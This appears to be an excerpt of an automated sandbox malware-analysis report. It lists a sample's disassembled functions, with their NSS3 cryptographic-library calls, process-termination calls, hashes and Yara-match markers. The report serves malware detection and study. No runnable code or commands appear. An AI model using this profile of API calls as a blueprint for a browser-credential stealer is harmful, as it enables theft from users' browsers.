Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CF81E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF81ED0

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: b2a16e2f3eedac415df818ca064e410d6bd7b5fad0b08a0478437fd2da82305b
Instruction ID: f91085753837f91530dd84a02741bbc161efd56b80fa8c78ada238b897b474c6
Opcode Fuzzy Hash: b2a16e2f3eedac415df818ca064e410d6bd7b5fad0b08a0478437fd2da82305b
Instruction Fuzzy Hash: 9E515875A01309DFDB14CF98D884BEEB7B6BF49318F148229E8299B750D731E945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CF9AC80 Relevance: 6.1, APIs: 4, Instructions: 126COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD074,00000000), ref: 6CF9AD13
memcmp.VCRUNTIME140(?,?,?), ref: 6CF9AD65
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF9AD95
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF9ADC8

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Item_Util$CopyErrorZfreememcmp
String ID:
API String ID: 2638228310-0
Opcode ID: 0f2b6938873ad7f3a6a18aeae21428b6b5e70613fee13482731d20679cbf3f2d
Instruction ID: ace5083e7eb810a5e5ec6bcfcddf150dd78fd146ab5d5bb07174c84e1341c0fe
Opcode Fuzzy Hash: 0f2b6938873ad7f3a6a18aeae21428b6b5e70613fee13482731d20679cbf3f2d
Instruction Fuzzy Hash: B7419E71E04215ABEF10CB6ADC85FEFB3F8EF45708F544125E914AB791E730AA44C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF83D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6CF8127F,?), ref: 6CF83D89

Part of subcall function 6CF806F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CF82E70,00000000), ref: 6CF80701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6CF83DD3

Part of subcall function 6CF707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CF18298,?,?,?,6CF0FCE5,?), ref: 6CF707BF
Part of subcall function 6CF707B0: PL_HashTableLookup.NSS3(?,?), ref: 6CF707E6
Part of subcall function 6CF707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CF7081B
Part of subcall function 6CF707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CF70825

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 562b6bf51e929fdc9c8366e7b6f8ad1d4b3af57220903c93202d00467670b123
Instruction ID: 7258015756c76b41b8ee9c9abd168f031f3dd84fe483ab7ad00871c27a0da8dc
Opcode Fuzzy Hash: 562b6bf51e929fdc9c8366e7b6f8ad1d4b3af57220903c93202d00467670b123
Instruction Fuzzy Hash: 8231F437A0352897E7148629D841B9A7274AB4136CF240A36DE15C7FF1EB21EC4D82A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CFE7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CFE7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CFE7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CFE7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CFE7ED8

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 1d8c383cdfda50ba558dbcb2cd2bb738ac59fb7952c0e40d6b2f265d14eef4c0
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: BF3186B2A012118FD704CF18D8919DAB7A2FF8831471B416AD8595B712EB71EC41CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF82C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6CF81289,?), ref: 6CF82D72

Part of subcall function 6CF83390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6CF82CA7,E80C76FF,?,6CF81289,?), ref: 6CF833E9
Part of subcall function 6CF83390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6CF8342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF81289,?), ref: 6CF82D61

Part of subcall function 6CF80B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CF80B21
Part of subcall function 6CF80B00: SECITEM_ZfreeItem_Util.NSS3(?,?), ref: 6CF80B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6CF81289,?), ref: 6CF82D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CF81289,?), ref: 6CF82DAF

Part of subcall function 6CF3B8F0: PR_CallOnceWithArg.NSS3(6D072178,6CF3BCF0,?), ref: 6CF3B915
Part of subcall function 6CF3B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,?,?), ref: 6CF3B933
Part of subcall function 6CF3B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CF3B9C8
Part of subcall function 6CF3B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CF3B9E1

Part of subcall function 6CF80A50: SECOID_GetAlgorithmTag_Util.NSS3(6CF82A90,E8571076,?,6CF82A7C,6CF821F1,?,?,?,00000000,00000000,?,?,6CF821DD,00000000), ref: 6CF80A66

Part of subcall function 6CF83310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6CF82D1E,?,?,?,?,00000000,?,?,?,?,?,6CF81289), ref: 6CF83348

Part of subcall function 6CF806F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CF82E70,00000000), ref: 6CF80701

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: b9c1a36a0622ef8a68bf14b8a43675f11f2a978395231fbb7eecdc58f29c699c
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: 5031A7B7902605ABDB009E64EC45B9B3BB5BF4531DF140130ED159BB91E732F928C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF16C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CF16C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CF16CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CF16CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6D038FE0), ref: 6CF16CFE

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: c30c446e732c647ac5f19ac903c48cf240a9b59964299f3a0bc58cd2d85688bb
Instruction ID: e4711c31b2d48d2b63345a7d2f9e3bf66c6f93adc484de19f06b8d1131d39bb1
Opcode Fuzzy Hash: c30c446e732c647ac5f19ac903c48cf240a9b59964299f3a0bc58cd2d85688bb
Instruction Fuzzy Hash: F03190B1A052169FEB08CF65C891ABFBBF5EF49248F10443DE905E7B50EB319905CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D024F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6D024F5D
free.MOZGLUE(?), ref: 6D024F74
free.MOZGLUE(?), ref: 6D024F82
GetLastError.KERNEL32 ref: 6D024F90

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 87094bc79acdac6500673d8a7b9f079c548b4c93d25ab323b119c50aeef1a9f9
Instruction ID: 01d9fba54278ca47c56128998934c18f43cfd873082003f1879e5b58e64e4889
Opcode Fuzzy Hash: 87094bc79acdac6500673d8a7b9f079c548b4c93d25ab323b119c50aeef1a9f9
Instruction Fuzzy Hash: 4B310775A0160A6BFB00CB69DC81BEEB7F8FF89354F054129EC15A7281D734E9058691

Uniqueness

Uniqueness Score: -1.00%

Function 00411350 Relevance: 6.1, APIs: 4, Instructions: 100stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411378

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

strtok_s.MSVCRT ref: 0041146F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02DB6B20,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 77aa876430051292a6733fdb85a788c1dae90561058439e9372ccc517da9f309
Instruction ID: bc44fb65e395c18893d79e2daadfc8d7f4384440e0cba23ba4018ddaa6f79c9f
Opcode Fuzzy Hash: 77aa876430051292a6733fdb85a788c1dae90561058439e9372ccc517da9f309
Instruction Fuzzy Hash: 04417175D00208DBCB04EFE5D855AEEBB75BF48304F00811EE51177290EB38AA85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00415BD0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00415BEB

Part of subcall function 00415450: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00415C1E,00000000), ref: 0041545B
Part of subcall function 00415450: HeapAlloc.KERNEL32(00000000,?,?,00415C1E,00000000), ref: 00415462
Part of subcall function 00415450: wsprintfW.USER32 ref: 00415478

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00415CAB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00415CC9
CloseHandle.KERNEL32(00000000), ref: 00415CD6

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 3b27017fc419490fb7baf9868378bb1d3c10474919877c2b56f84c1bd38e8be9
Instruction ID: 9bd26bda15b00488fb04890a05ea267a73874a1d1a12279ce6d54c29d70e7cb6
Opcode Fuzzy Hash: 3b27017fc419490fb7baf9868378bb1d3c10474919877c2b56f84c1bd38e8be9
Instruction Fuzzy Hash: B7311E71A00708DFDB24DFD0CD49BEDB775BB88304F204459E506AA284EB78AA85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6CF86DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CF86E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF86E57

Part of subcall function 6CFBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CFBC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CF86E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CF86EAA

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 29a86e4379f6d4b895577a2c3bbb22adbd019469a746a94bc23141fd597d6aa2
Instruction ID: 5e93f0b8402ecde1805a9e28344624c9a847fd76e3174eddc0af3f7b0b2a9a05
Opcode Fuzzy Hash: 29a86e4379f6d4b895577a2c3bbb22adbd019469a746a94bc23141fd597d6aa2
Instruction Fuzzy Hash: 3231C132632612EFDB141F34DC183D7B7B4AB0531AF14063CE49AD6A40EB307554CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 6CF6DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6CF6DDB1,?,00000000), ref: 6CF6DDF4

Part of subcall function 6CF714C0: TlsGetValue.KERNEL32 ref: 6CF714E0
Part of subcall function 6CF714C0: EnterCriticalSection.KERNEL32 ref: 6CF714F5
Part of subcall function 6CF714C0: PR_Unlock.NSS3 ref: 6CF7150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6CF6DDB1,?,00000000), ref: 6CF6DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6CF6DDB1,?,00000000), ref: 6CF6DE17

Part of subcall function 6CF70BE0: malloc.MOZGLUE(6CF68D2D,?,00000000,?), ref: 6CF70BF8
Part of subcall function 6CF70BE0: TlsGetValue.KERNEL32(6CF68D2D,?,00000000,?), ref: 6CF70C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CF6DE80

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: e0eb8e4bb424c2934928584e7a18591eaacbc41b45f277ee39b9eb49ac15d6b9
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 0731A2B1901B429BE710CF57D990692B7A4BFB531CB24822AD81D87F01E7B1E5A4CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CF11EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CF14C64,?,-00000004), ref: 6CF11EE2

Part of subcall function 6CF71820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CF11D97,?,?), ref: 6CF71836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CF14C64,?,-00000004), ref: 6CF11F13
DER_DecodeTimeChoice_Util.NSS3(?,6CF14CA0,?,?,?,?,?,?,00000000,00000000,?,6CF14C64,?,-00000004), ref: 6CF11F37
DER_DecodeTimeChoice_Util.NSS3(?,6CF14C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CF14C64,?,-00000004), ref: 6CF11F53

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: 5df3c1100290a9f68d063f3c12e562e4edafe838af57a87b8f3c99e51cbb2763
Instruction ID: 470652e08b97bf5a2737e1eb4a45de16694417917ee85bfa6d17bb34a89f40f6
Opcode Fuzzy Hash: 5df3c1100290a9f68d063f3c12e562e4edafe838af57a87b8f3c99e51cbb2763
Instruction Fuzzy Hash: 7A216572508316AFC710CF65DD00ADB77E9AB94659F04892DE858C3A40F730E55DC7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF90C00 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

PK11_DigestOp.NSS3(?,?,00000004), ref: 6CF90C43

Part of subcall function 6CF3DEF0: TlsGetValue.KERNEL32 ref: 6CF3DF37
Part of subcall function 6CF3DEF0: EnterCriticalSection.KERNEL32(?), ref: 6CF3DF4B
Part of subcall function 6CF3DEF0: PR_SetError.NSS3(00000000,00000000), ref: 6CF3E02B
Part of subcall function 6CF3DEF0: PR_Unlock.NSS3(?), ref: 6CF3E07E

PK11_DigestOp.NSS3(?,?,00000008), ref: 6CF90C85
PK11_DigestOp.NSS3(?,?,?), ref: 6CF90C9F
PR_SetError.NSS3(FFFFD07F,00000000), ref: 6CF90CB4

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: DigestK11_$Error$CriticalEnterSectionUnlockValue
String ID:
API String ID: 3186484790-0
Opcode ID: 7c790846952651e643162357a9c1e0378e29ef563278d85528941a7189c803c9
Instruction ID: b8c17727736f22cd3413dcf799ea8ca52dd2bf119824217e6cfe03ebee0f81f7
Opcode Fuzzy Hash: 7c790846952651e643162357a9c1e0378e29ef563278d85528941a7189c803c9
Instruction Fuzzy Hash: 06212B71504296AFDB01CB689C05BDBBFA4AF25304F0E81A5E8485F752E731D828C7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF82DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CF82E08

Part of subcall function 6CF714C0: TlsGetValue.KERNEL32 ref: 6CF714E0
Part of subcall function 6CF714C0: EnterCriticalSection.KERNEL32 ref: 6CF714F5
Part of subcall function 6CF714C0: PR_Unlock.NSS3 ref: 6CF7150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CF82E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CF82E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF82E95

Part of subcall function 6CF71200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CF188A4,00000000,00000000), ref: 6CF71228
Part of subcall function 6CF71200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CF71238
Part of subcall function 6CF71200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CF188A4,00000000,00000000), ref: 6CF7124B
Part of subcall function 6CF71200: PR_CallOnce.NSS3(6D072AA4,6CF712D0,00000000,00000000,00000000,?,6CF188A4,00000000,00000000), ref: 6CF7125D
Part of subcall function 6CF71200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CF7126F
Part of subcall function 6CF71200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CF71280
Part of subcall function 6CF71200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CF7128E
Part of subcall function 6CF71200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CF7129A
Part of subcall function 6CF71200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CF712A1

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

